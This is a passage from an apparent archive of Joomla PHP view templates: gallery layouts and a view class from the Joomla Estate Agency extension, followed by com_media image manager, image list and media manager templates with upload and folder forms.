type: 'image'
});
if ($('#jea-gallery-scroll').hasClass('vertical')
&& $(window).width() > 1200) {
$('#jea-preview-img').on('load', function() {
$('#jea-gallery-scroll').css('height',
$(this).height());
});
}
});
JS;
$this->document->addScriptDeclaration($script);
$gallery_orientation =
$this->params->get('gallery_orientation',
'vertical');
?>
<div id="jea-gallery" class="<?php echo
$gallery_orientation ?>">
<div id="jea-gallery-preview" class="<?php echo
$gallery_orientation ?>">
<a href="<?php echo $mainImage->URL ?>"
class="modal">
<img src="<?php echo $mainImage->mediumURL ?>"
id="jea-preview-img"
alt="<?php echo $mainImage->title ?>"
title="<?php echo $mainImage->description ?>" />
</a>
<div id="jea-preview-title"><?php echo
$mainImage->title ?></div>
<div id="jea-preview-description"><?php echo
$mainImage->description ?></div>
</div>
<?php if( !empty($this->row->images)): ?>
<div id="jea-gallery-scroll" class="<?php echo
$gallery_orientation ?>">
<?php foreach($this->row->images as $image) : ?>
<a class="jea-thumbnails" rel="<?php echo
$image->mediumURL?>" href="<?php echo
$image->URL?>">
<img src="<?php echo $image->minURL ?>"
alt="<?php echo $image->title ?>" title="<?php
echo $image->description ?>" /></a>
<?php endforeach ?>
</div>
<?php endif ?>
</div>
property/tmpl/default_magnificpopup.php000064400000005117151165631240014472
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
if (!is_array($this->row->images))
{
return;
}
$mainImage = $this->row->images[0];
$previousLabel = JText::_('JPREVIOUS');
$nextLabel = JText::_('JNEXT');
JHtml::stylesheet('com_jea/magnific-popup.css',
array('relative' => true));
JHtml::_('jquery.framework');
JHtml::script('com_jea/jquery.magnific-popup.min.js',
array('relative' => true));
$script = <<<EOB
jQuery(function($) {
var previousLabel = '$previousLabel';
var nextLabel = '$nextLabel';
$('#jea-gallery-preview a').on('click', function(e) {
e.preventDefault();
$('.popup-gallery a:first').trigger('click');
});
$('.popup-gallery').magnificPopup({
delegate: 'a',
type: 'image',
tLoading: 'Loading image #%curr%...',
mainClass: 'mfp-img-mobile',
gallery: {
enabled: true,
navigateByImgClick: true,
preload: [0,1] // Will preload 0 - before current, and 1 after the
current image
},
image: {
tError: '<a href="%url%">The image
#%curr%</a> could not be loaded.',
titleSrc: function(item) {
var title = item.el.attr('title');
var description = item.img.attr('alt');
return description ? title + ' / ' + description : title;
}
}
});
if ($('#jea-gallery-scroll').hasClass('vertical')
&& $(window).width() > 1200) {
$('#jea-preview-img').on('load', function() {
$('#jea-gallery-scroll').css('height',
$(this).height());
});
}
});
EOB;
$this->document->addScriptDeclaration($script);
$gallery_orientation =
$this->params->get('gallery_orientation',
'vertical');
?>
<div id="jea-gallery" class="<?php echo
$gallery_orientation ?>">
<div id="jea-gallery-preview" class="<?php echo
$gallery_orientation ?>">
<a href="<?php echo $mainImage->URL ?>"
title="<?php echo $mainImage->title ?>"><img
src="<?php echo $mainImage->mediumURL ?>"
id="jea-preview-img"
alt="<?php echo $mainImage->description ?>"
/></a>
</div>
<?php if( !empty($this->row->images)): ?>
<div id="jea-gallery-scroll" class="popup-gallery
<?php echo $gallery_orientation ?>">
<?php foreach($this->row->images as $image) : ?>
<a href="<?php echo $image->URL?>"
title="<?php echo $image->title ?>">
<img src="<?php echo $image->mediumURL ?>"
alt="<?php echo $image->description ?>" /></a>
<?php endforeach ?>
</div>
<?php endif ?>
</div>
property/tmpl/default_squeezebox.php000064400000004013151165631240014015
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
if (!is_array($this->row->images))
{
return;
}
$mainImage = array_shift($this->row->images);
$previousLabel = JText::_('JPREVIOUS');
$nextLabel = JText::_('JNEXT');
$script = <<<EOB
var previousLabel = '$previousLabel';
var nextLabel = '$nextLabel';
window.addEvent('domready', function(){
if
(document.id('jea-gallery-scroll').hasClass('vertical'))
{
var winSize = window.getSize();
if (winSize.x > 1200) {
document.id('jea-preview-img').addEvent('load',
function() {
var imgSize = this.getSize();
document.id('jea-gallery-scroll').setStyle('height',
imgSize.y);
});
}
}
});
EOB;
$this->document->addScriptDeclaration($script);
JHtml::script('com_jea/jea-squeezebox.js',
array('relative' => true));
JHtml::_('behavior.modal', 'a.jea_modal',
array('onOpen' => '\onOpenSqueezebox'));
$gallery_orientation =
$this->params->get('gallery_orientation',
'vertical');
?>
<div id="jea-gallery" class="<?php echo
$gallery_orientation ?>">
<div id="jea-gallery-preview" class="<?php echo
$gallery_orientation ?>">
<a class="jea_modal" href="<?php echo
$mainImage->URL ?>"><img src="<?php echo
$mainImage->mediumURL ?>" id="jea-preview-img"
alt="<?php echo $mainImage->title ?>"
title="<?php echo $mainImage->description ?>"
/></a>
</div>
<?php if( !empty($this->row->images)): ?>
<div id="jea-gallery-scroll" class="<?php echo
$gallery_orientation ?>">
<?php foreach($this->row->images as $image) : ?>
<a class="jea_modal" href="<?php echo
$image->URL?>"><img src="<?php echo
$image->minURL ?>" alt="<?php echo $image->title
?>"
title="<?php echo $image->description ?>"
/></a>
<?php endforeach ?>
</div>
<?php endif ?>
</div>
property/view.html.php000064400000007071151165631240011067 0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
/**
* Property item view.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewProperty extends JViewLegacy
{
/**
* The component parameters
*
* @var Joomla\Registry\Registry
*/
protected $params;
/**
* The model state
*
* @var JObject
*/
protected $state;
/**
* The database record
*
* @var JObject|boolean
*/
protected $row;
/**
* The page title
*
* @var string
*/
protected $page_title = '';
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
JHtml::stylesheet('com_jea/jea.css', array('relative'
=> true));
$this->state = $this->get('State');
$item = $this->get('Item');
$this->params = $this->state->params;
if (!$item)
{
throw new
RuntimeException(JText::_('COM_JEA_PROPERTY_NOT_FOUND'));
}
$this->row = $item;
// Increment the hit counter of the property
$this->getModel()->hit();
if (empty($item->title))
{
$pageTitle =
ucfirst(JText::sprintf('COM_JEA_PROPERTY_TYPE_IN_TOWN',
$this->escape($item->type), $this->escape($item->town)));
}
else
{
$pageTitle = $this->escape($item->title);
}
$this->page_title = $pageTitle;
$app = JFactory::getApplication();
$pathway = $app->getPathway();
$pathway->addItem($pageTitle);
$document = JFactory::getDocument();
$document->setTitle($pageTitle);
parent::display($tpl);
}
/**
* Get the previous and next links relative to the property
*
* @param string $previousPrefix Previous prefix
* @param string $nextPrefix Next prefix
*
* @return string
*/
protected function getPrevNextNavigation($previousPrefix =
'<< ', $nextPrefix = ' >>')
{
$res = $this->get('previousAndNext');
$html = '';
$previous = $previousPrefix . JText::_('JPREVIOUS');
$next = JText::_('JNEXT') . $nextPrefix;
if ($res['prev'])
{
$html .= '<a class="previous" href="' .
$this->buildPropertyLink($res['prev']) .
'">' . $previous . '</a>';
}
else
{
$html .= '<span class="previous">' . $previous
. '</span>';
}
if ($res['next'])
{
$html .= '<a class="next" href="' .
$this->buildPropertyLink($res['next']) .
'">' . $next . '</a>';
}
else
{
$html .= '<span class="next">' . $next .
'</span>';
}
return $html;
}
/**
* Build the property link
*
* @param object $item The property row
*
* @return string
*/
protected function buildPropertyLink(&$item)
{
$slug = $item->alias ? ($item->id . ':' .
$item->alias) : $item->id;
return
JRoute::_('index.php?option=com_jea&view=property&id=' .
$slug);
}
/**
* Display captcha
*
* @return string the HTML code to dispay captcha
*/
protected function displayCaptcha()
{
$plugin = JFactory::getConfig()->get('captcha');
if ($plugin == '0')
{
$plugin = 'recaptcha';
}
$captcha = JCaptcha::getInstance($plugin, array('namespace'
=> 'contact'));
if ($captcha instanceof JCaptcha)
{
return $captcha->display('captcha',
'jea-captcha', 'required');
}
return '';
}
}
images/tmpl/default.php000064400000020167151165632200011131
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$user = JFactory::getUser();
$input = JFactory::getApplication()->input;
$params = JComponentHelper::getParams('com_media');
$lang = JFactory::getLanguage();
$onClick = '';
$fieldInput = $this->state->get('field.id');
$isMoo = $input->getInt('ismoo', 1);
$author = $input->getCmd('author');
$asset = $input->getCmd('asset');
JHtml::_('formbehavior.chosen', 'select');
// Load tooltip instance without HTML support because we have a HTML tag in
the tip
JHtml::_('bootstrap.tooltip', '.noHtmlTip',
array('html' => false));
// Include jQuery
JHtml::_('behavior.core');
JHtml::_('jquery.framework');
JHtml::_('script', 'media/popup-imagemanager.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'media/popup-imagemanager.css',
array('version' => 'auto', 'relative'
=> true));
if ($lang->isRtl())
{
JHtml::_('stylesheet',
'media/popup-imagemanager_rtl.css', array('version'
=> 'auto', 'relative' => true));
}
JFactory::getDocument()->addScriptOptions(
'mediamanager', array(
'base' => $params->get('image_path',
'images') . '/',
'asset' => $asset,
'author' => $author
)
);
/**
* Mootools compatibility
*
* There is an extra option passed in the URL for the iframe &ismoo=0
for the bootstrap fields.
* By default the value will be 1 or defaults to mootools behaviour
*
* This should be removed when mootools won't be shipped by Joomla.
*/
if (!empty($fieldInput)) // Media Form Field
{
if ($isMoo)
{
$onClick =
"window.parent.jInsertFieldValue(document.getElementById('f_url').value,
'" . $fieldInput .
"');window.parent.jModalClose();window.parent.jQuery('.modal.in').modal('hide');";
}
}
else // XTD Image plugin
{
$onClick = 'ImageManager.onok();window.parent.jModalClose();';
}
?>
<div class="container-popup">
<form action="index.php?option=com_media&asset=<?php
echo $asset; ?>&author=<?php echo $author; ?>"
class="form-horizontal" id="imageForm"
method="post" enctype="multipart/form-data">
<div id="messages" style="display: none;">
<span id="message"></span><?php echo
JHtml::_('image', 'media/dots.gif', '...',
array('width' => 22, 'height' => 12), true);
?>
</div>
<div class="well">
<div class="row-fluid">
<div class="span8 control-group">
<div class="control-label">
<label for="folder"><?php echo
JText::_('COM_MEDIA_DIRECTORY'); ?></label>
</div>
<div class="controls">
<?php echo $this->folderList; ?>
<button class="btn" type="button"
id="upbutton" title="<?php echo
JText::_('COM_MEDIA_DIRECTORY_UP'); ?>"><?php echo
JText::_('COM_MEDIA_UP'); ?></button>
</div>
</div>
<div class="span4 control-group">
<div class="pull-right">
<button class="btn btn-success button-save-selected"
type="button" <?php if (!empty($onClick)) :
// This is for Mootools compatibility ?>onclick="<?php
echo $onClick; ?>"<?php endif; ?>
data-dismiss="modal"><?php echo
JText::_('COM_MEDIA_INSERT'); ?></button>
<button class="btn button-cancel"
type="button"
onclick="window.parent.jQuery('.modal.in').modal('hide');<?php
if (!empty($onClick)) :
// This is for Mootools compatibility
?>parent.jModalClose();<?php endif ?>"
data-dismiss="modal"><?php echo
JText::_('JCANCEL'); ?></button>
</div>
</div>
</div>
</div>
<iframe id="imageframe" name="imageframe"
src="index.php?option=com_media&view=imagesList&tmpl=component&folder=<?php
echo rawurlencode($this->state->folder); ?>&asset=<?php
echo $asset; ?>&author=<?php echo $author;
?>"></iframe>
<div class="well">
<div class="row-fluid">
<div class="span12 control-group">
<div class="control-label">
<label for="f_url"><?php echo
JText::_('COM_MEDIA_IMAGE_URL'); ?></label>
</div>
<div class="controls">
<input type="text" id="f_url"
value="" />
</div>
</div>
</div>
</div>
<?php if (!$this->state->get('field.id')) : ?>
<div class="well">
<div class="row-fluid">
<div class="span6 control-group">
<div class="control-label">
<label title="<?php echo
JText::_('COM_MEDIA_ALIGN_DESC'); ?>"
class="noHtmlTip" for="f_align"><?php echo
JText::_('COM_MEDIA_ALIGN'); ?></label>
</div>
<div class="controls">
<select size="1" id="f_align">
<option value=""
selected="selected"><?php echo
JText::_('COM_MEDIA_NOT_SET'); ?></option>
<option value="left"><?php echo
JText::_('JGLOBAL_LEFT'); ?></option>
<option value="center"><?php echo
JText::_('JGLOBAL_CENTER'); ?></option>
<option value="right"><?php echo
JText::_('JGLOBAL_RIGHT'); ?></option>
</select>
</div>
</div>
</div>
<div class="row-fluid">
<div class="span6 control-group">
<div class="control-label">
<label for="f_alt"><?php echo
JText::_('COM_MEDIA_IMAGE_DESCRIPTION'); ?></label>
</div>
<div class="controls">
<input type="text" id="f_alt"
value="" />
</div>
</div>
<div class="span6 control-group">
<div class="control-label">
<label for="f_title"><?php echo
JText::_('COM_MEDIA_TITLE'); ?></label>
</div>
<div class="controls">
<input type="text" id="f_title"
value="" />
</div>
</div>
</div>
<div class="row-fluid">
<div class="span6 control-group">
<div class="control-label">
<label for="f_caption"><?php echo
JText::_('COM_MEDIA_CAPTION'); ?></label>
</div>
<div class="controls">
<input type="text" id="f_caption"
value="" />
</div>
</div>
<div class="span6 control-group">
<div class="control-label">
<label title="<?php echo
JText::_('COM_MEDIA_CAPTION_CLASS_DESC'); ?>"
class="noHtmlTip" for="f_caption_class"><?php
echo JText::_('COM_MEDIA_CAPTION_CLASS_LABEL');
?></label>
</div>
<div class="controls">
<input type="text" list="d_caption_class"
id="f_caption_class" value="" />
<datalist id="d_caption_class">
<option value="text-left">
<option value="text-center">
<option value="text-right">
</datalist>
</div>
</div>
</div>
<input type="hidden" id="dirPath"
name="dirPath" />
<input type="hidden" id="f_file"
name="f_file" />
<input type="hidden" id="tmpl"
name="component" />
</div>
<?php endif; ?>
</form>
<?php if ($user->authorise('core.create',
'com_media')) : ?>
<form action="<?php echo JUri::base();
?>index.php?option=com_media&task=file.upload&tmpl=component&<?php
echo $this->session->getName() . '=' .
$this->session->getId(); ?>&<?php echo
JSession::getFormToken(); ?>=1&asset=<?php echo $asset;
?>&author=<?php echo $author; ?>&view=images"
id="uploadForm" class="form-horizontal"
name="uploadForm" method="post"
enctype="multipart/form-data">
<div id="uploadform" class="well">
<fieldset id="upload-noflash"
class="actions">
<div class="control-group">
<div class="control-label">
<label for="upload-file"
class="control-label"><?php echo
JText::_('COM_MEDIA_UPLOAD_FILE'); ?></label>
</div>
<div class="controls">
<input required type="file" id="upload-file"
name="Filedata[]" multiple /><button class="btn
btn-primary" id="upload-submit"><span
class="icon-upload icon-white"></span> <?php echo
JText::_('COM_MEDIA_START_UPLOAD'); ?></button>
<p class="help-block">
<?php $cMax = (int)
$this->config->get('upload_maxsize'); ?>
<?php $maxSize = JUtility::getMaxUploadSize($cMax .
'MB'); ?>
<?php echo
JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT',
JHtml::_('number.bytes', $maxSize)); ?>
</p>
</div>
</div>
</fieldset>
<?php
JFactory::getSession()->set('com_media.return_url',
'index.php?option=com_media&view=images&tmpl=component&fieldid='
. $input->getCmd('fieldid', '') .
'&e_name=' . $input->getCmd('e_name') .
'&asset=' . $asset . '&author=' . $author);
?>
</div>
</form>
<?php endif; ?>
</div>
images/view.html.php000064400000002262151165632210010443 0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* HTML View class for the Media component
*
* @since 1.0
*/
class MediaViewImages extends JViewLegacy
{
/**
* Execute and display a template script.
*
* @param string $tpl The name of the template file to parse;
automatically searches through the template paths.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @since 1.0
*/
public function display($tpl = null)
{
$config = JComponentHelper::getParams('com_media');
/*
* Display form for FTP credentials?
* Don't set them here, as there are other functions called before
this one if there is any file write operation
*/
$ftp = !JClientHelper::hasCredentials('ftp');
$this->session = JFactory::getSession();
$this->config = $config;
$this->state = $this->get('state');
$this->folderList = $this->get('folderList');
$this->require_ftp = $ftp;
parent::display($tpl);
}
}
imageslist/tmpl/default.php000064400000003075151165632210012025
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$lang = JFactory::getLanguage();
JHtml::_('stylesheet', 'media/popup-imagelist.css',
array('version' => 'auto', 'relative'
=> true));
if ($lang->isRtl())
{
JHtml::_('stylesheet',
'media/popup-imagelist_rtl.css', array('version' =>
'auto', 'relative' => true));
}
JFactory::getDocument()->addScriptDeclaration('var ImageManager =
window.parent.ImageManager;');
if ($lang->isRtl())
{
JFactory::getDocument()->addStyleDeclaration(
'
@media (max-width: 767px) {
li.imgOutline.thumbnail.height-80.width-80.center {
float: right;
}
}
'
);
}
else
{
JFactory::getDocument()->addStyleDeclaration(
'
@media (max-width: 767px) {
li.imgOutline.thumbnail.height-80.width-80.center {
float: left;
}
}
'
);
}
?>
<?php if (count($this->images) > 0 || count($this->folders)
> 0) : ?>
<ul class="manager thumbnails thumbnails-media">
<?php for ($i = 0, $n = count($this->folders); $i < $n; $i++) :
$this->setFolder($i);
echo $this->loadTemplate('folder');
endfor; ?>
<?php for ($i = 0, $n = count($this->images); $i < $n; $i++) :
$this->setImage($i);
echo $this->loadTemplate('image');
endfor; ?>
</ul>
<?php else : ?>
<div id="media-noimages">
<div class="alert alert-info"><?php echo
JText::_('COM_MEDIA_NO_IMAGES_FOUND'); ?></div>
</div>
<?php endif; ?>
imageslist/tmpl/default_folder.php000064400000001546151165632210013361
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$input = JFactory::getApplication()->input;
?>
<li class="imgOutline thumbnail height-80 width-80 center">
<a
href="index.php?option=com_media&view=imagesList&tmpl=component&folder=<?php
echo rawurlencode($this->_tmp_folder->path_relative);
?>&asset=<?php echo $input->getCmd('asset');
?>&author=<?php echo $input->getCmd('author');
?>" target="imageframe">
<div class="height-50">
<span class="icon-folder-2"></span>
</div>
<div class="small">
<?php echo JHtml::_('string.truncate',
$this->escape($this->_tmp_folder->name), 10, false); ?>
</div>
</a>
</li>
imageslist/tmpl/default_image.php000064400000002504151165632210013163
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
$params = new Registry;
$dispatcher = JEventDispatcher::getInstance();
$dispatcher->trigger('onContentBeforeDisplay',
array('com_media.file', &$this->_tmp_img, &$params,
0));
?>
<li class="imgOutline thumbnail height-80 width-80 center">
<a class="img-preview"
href="javascript:ImageManager.populateFields('<?php echo
$this->escape($this->_tmp_img->path_relative); ?>')"
title="<?php echo $this->escape($this->_tmp_img->name);
?>" >
<div class="height-50">
<?php echo JHtml::_('image', $this->baseURL .
'/' . $this->escape($this->_tmp_img->path_relative),
JText::sprintf('COM_MEDIA_IMAGE_TITLE',
$this->escape($this->_tmp_img->title),
JHtml::_('number.bytes', $this->_tmp_img->size)),
array('width' => $this->_tmp_img->width_60,
'height' => $this->_tmp_img->height_60)); ?>
</div>
<div class="small">
<?php echo JHtml::_('string.truncate',
$this->escape($this->_tmp_img->name), 10, false); ?>
</div>
</a>
</li>
<?php
$dispatcher->trigger('onContentAfterDisplay',
array('com_media.file', &$this->_tmp_img, &$params,
0));
imageslist/view.html.php000064400000003210151165632210011331
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* HTML View class for the Media component
*
* @since 1.0
*/
class MediaViewImagesList extends JViewLegacy
{
/**
* Execute and display a template script.
*
* @param string $tpl The name of the template file to parse;
automatically searches through the template paths.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @since 1.0
*/
public function display($tpl = null)
{
// Do not allow cache
JFactory::getApplication()->allowCache(false);
$images = $this->get('images');
$folders = $this->get('folders');
$state = $this->get('state');
$this->baseURL = COM_MEDIA_BASEURL;
$this->images = &$images;
$this->folders = &$folders;
$this->state = &$state;
parent::display($tpl);
}
/**
* Set the active folder
*
* @param integer $index Folder position
*
* @return void
*
* @since 1.0
*/
public function setFolder($index = 0)
{
if (isset($this->folders[$index]))
{
$this->_tmp_folder = &$this->folders[$index];
}
else
{
$this->_tmp_folder = new JObject;
}
}
/**
* Set the active image
*
* @param integer $index Image position
*
* @return void
*
* @since 1.0
*/
public function setImage($index = 0)
{
if (isset($this->images[$index]))
{
$this->_tmp_img = &$this->images[$index];
}
else
{
$this->_tmp_img = new JObject;
}
}
}
media/tmpl/default.php000064400000015200151165632210010734 0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$user = JFactory::getUser();
$input = JFactory::getApplication()->input;
$lang = JFactory::getLanguage();
$style =
JFactory::getApplication()->getUserStateFromRequest('media.list.layout',
'layout', 'thumbs', 'word');
if (DIRECTORY_SEPARATOR == '\\')
{
$base = str_replace(DIRECTORY_SEPARATOR, "\\\\",
COM_MEDIA_BASE);
}
else
{
$base = COM_MEDIA_BASE;
}
JFactory::getDocument()->addScriptDeclaration(
"
var basepath = '" . $base . "';
var viewstyle = '" . $style . "';
"
);
JHtml::_('behavior.keepalive');
JHtml::_('bootstrap.framework');
JHtml::_('script', 'media/mediamanager.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script', 'media/mediaelement-and-player.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'media/mediaelementplayer.css',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'system/mootree.css',
array('version' => 'auto', 'relative'
=> true));
if ($lang->isRtl())
{
JHtml::_('stylesheet', 'system/mootree_rtl.css',
array('version' => 'auto', 'relative'
=> true));
}
?>
<div class="row-fluid">
<!-- Begin Sidebar -->
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
<div class="j-toggle-sidebar-header">
<h3><?php echo JText::_('COM_MEDIA_FOLDERS'); ?>
</h3>
</div>
<div id="treeview" class="sidebar">
<div id="media-tree_tree" class="tree-holder">
<?php echo $this->loadTemplate('folders'); ?>
</div>
</div>
</div>
<!-- End Sidebar -->
<!-- Begin Content -->
<div id="j-main-container" class="span10">
<?php echo $this->loadTemplate('navigation'); ?>
<?php if (($user->authorise('core.create',
'com_media')) and $this->require_ftp) : ?>
<form
action="index.php?option=com_media&task=ftpValidate"
name="ftpForm" id="ftpForm" method="post">
<fieldset title="<?php echo
JText::_('COM_MEDIA_DESCFTPTITLE'); ?>">
<legend><?php echo
JText::_('COM_MEDIA_DESCFTPTITLE'); ?></legend>
<?php echo JText::_('COM_MEDIA_DESCFTP'); ?>
<label for="username"><?php echo
JText::_('JGLOBAL_USERNAME'); ?></label>
<input type="text" id="username"
name="username" size="70" value="" />
<label for="password"><?php echo
JText::_('JGLOBAL_PASSWORD'); ?></label>
<input type="password" id="password"
name="password" size="70" value="" />
</fieldset>
</form>
<?php endif; ?>
<form action="index.php?option=com_media"
name="adminForm" id="mediamanager-form"
method="post" enctype="multipart/form-data" >
<input type="hidden" name="task"
value="" />
<input type="hidden" name="cb1"
id="cb1" value="0" />
<input class="update-folder" type="hidden"
name="folder" id="folder" value="<?php echo
$this->escape($this->state->folder); ?>" />
</form>
<?php if ($user->authorise('core.create',
'com_media')) : ?>
<!-- File Upload Form -->
<div id="collapseUpload" class="collapse">
<form action="<?php echo JUri::base();
?>index.php?option=com_media&task=file.upload&tmpl=component&<?php
echo $this->session->getName() . '=' .
$this->session->getId(); ?>&<?php echo
JSession::getFormToken(); ?>=1&format=html"
id="uploadForm" class="form-inline"
name="uploadForm" method="post"
enctype="multipart/form-data">
<div id="uploadform" class="uploadform">
<fieldset id="upload-noflash"
class="actions">
<label for="upload-file"
class="control-label"><?php echo
JText::_('COM_MEDIA_UPLOAD_FILE'); ?></label>
<input required type="file" id="upload-file"
name="Filedata[]" multiple /> <button class="btn
btn-primary" id="upload-submit"><span
class="icon-upload icon-white"></span> <?php echo
JText::_('COM_MEDIA_START_UPLOAD'); ?></button>
<p class="help-block">
<?php $cMax = (int)
$this->config->get('upload_maxsize'); ?>
<?php $maxSize = JUtility::getMaxUploadSize($cMax .
'MB'); ?>
<?php echo
JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT',
JHtml::_('number.bytes', $maxSize)); ?>
</p>
</fieldset>
<input class="update-folder" type="hidden"
name="folder" id="folder" value="<?php echo
$this->escape($this->state->folder); ?>" />
<?php
JFactory::getSession()->set('com_media.return_url',
'index.php?option=com_media'); ?>
</div>
</form>
</div>
<div id="collapseFolder" class="collapse">
<form
action="index.php?option=com_media&task=folder.create&tmpl=<?php
echo $input->getCmd('tmpl', 'index'); ?>"
name="folderForm" id="folderForm"
class="form-inline" method="post">
<div class="path">
<input type="text" id="folderpath"
readonly="readonly" class="update-folder" />
<input required type="text" id="foldername"
name="foldername" />
<input class="update-folder" type="hidden"
name="folderbase" id="folderbase" value="<?php
echo $this->escape($this->state->folder); ?>" />
<button type="submit" class="btn"><span
class="icon-folder-open"></span> <?php echo
JText::_('COM_MEDIA_CREATE_FOLDER'); ?></button>
</div>
<?php echo JHtml::_('form.token'); ?>
</form>
</div>
<?php endif; ?>
<form
action="index.php?option=com_media&task=folder.create&tmpl=<?php
echo $input->getCmd('tmpl', 'index'); ?>"
name="folderForm" id="folderForm"
method="post">
<div id="folderview">
<div class="view">
<iframe class="thumbnail"
src="index.php?option=com_media&view=mediaList&tmpl=component&folder=<?php
echo $this->escape($this->state->folder); ?>"
id="folderframe" name="folderframe"
width="100%" height="500px" marginwidth="0"
marginheight="0" scrolling="auto"></iframe>
</div>
<?php echo JHtml::_('form.token'); ?>
</div>
</form>
</div>
<?php // Pre render all the bootstrap modals on the parent window
echo JHtml::_(
'bootstrap.renderModal',
'imagePreview',
array(
'title' => JText::_('COM_MEDIA_PREVIEW'),
'footer' => '<button type="button"
class="btn" data-dismiss="modal">'
. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') .
'</button>',
),
'<div id="image"
style="text-align:center;"><img
id="imagePreviewSrc" src="../media/jui/img/alpha.png"
alt="preview" style="max-width:100%;
max-height:300px;"/></div>'
);
echo JHtml::_(
'bootstrap.renderModal',
'videoPreview',
array(
'title' => JText::_('COM_MEDIA_PREVIEW'),
'footer' => '<button type="button"
class="btn" data-dismiss="modal">'
. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') .
'</button>',
),
'<div id="videoPlayer" style="z-index:
-100;"><video id="mejsPlayer" style="height:
250px;"/></div>'
);
?>
<!-- End Content -->
</div>
media/tmpl/default.xml000064400000000310151165632210010741 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_MEDIA_MEDIA_VIEW_DEFAULT_TITLE">
<message>
<![CDATA[COM_MEDIA_MEDIA_VIEW_DEFAULT_DESC]]>
</message>
</layout>
</metadata>
media/tmpl/default_folders.php000064400000002076151165632210012461
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
// Set up the sanitised target for the ul
$ulTarget = str_replace('/', '-',
$this->folders['data']->relative);
?>
<ul class="nav nav-list" id="collapseFolder-<?php echo
$ulTarget; ?>">
<?php if (isset($this->folders['children'])) :
foreach ($this->folders['children'] as $folder) :
// Get a sanitised name for the target
$target = str_replace('/', '-',
$folder['data']->relative); ?>
<li id="<?php echo $target; ?>"
class="folder">
<a
href="index.php?option=com_media&view=mediaList&tmpl=component&folder=<?php
echo rawurlencode($folder['data']->relative); ?>"
target="folderframe" class="folder-url" >
<span class="icon-folder"></span>
<?php echo $this->escape($folder['data']->name);
?>
</a>
<?php echo $this->getFolderLevel($folder); ?>
</li>
<?php endforeach;
endif; ?>
</ul>
media/tmpl/default_navigation.php000064400000001624151165632210013160
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
$style = $app->getUserStateFromRequest('media.list.layout',
'layout', 'thumbs', 'word');
?>
<div class="media btn-group ventral-space">
<a href="#" id="thumbs"
onclick="MediaManager.setViewType('thumbs')"
class="btn <?php echo ($style == 'thumbs') ?
'active' : ''; ?>">
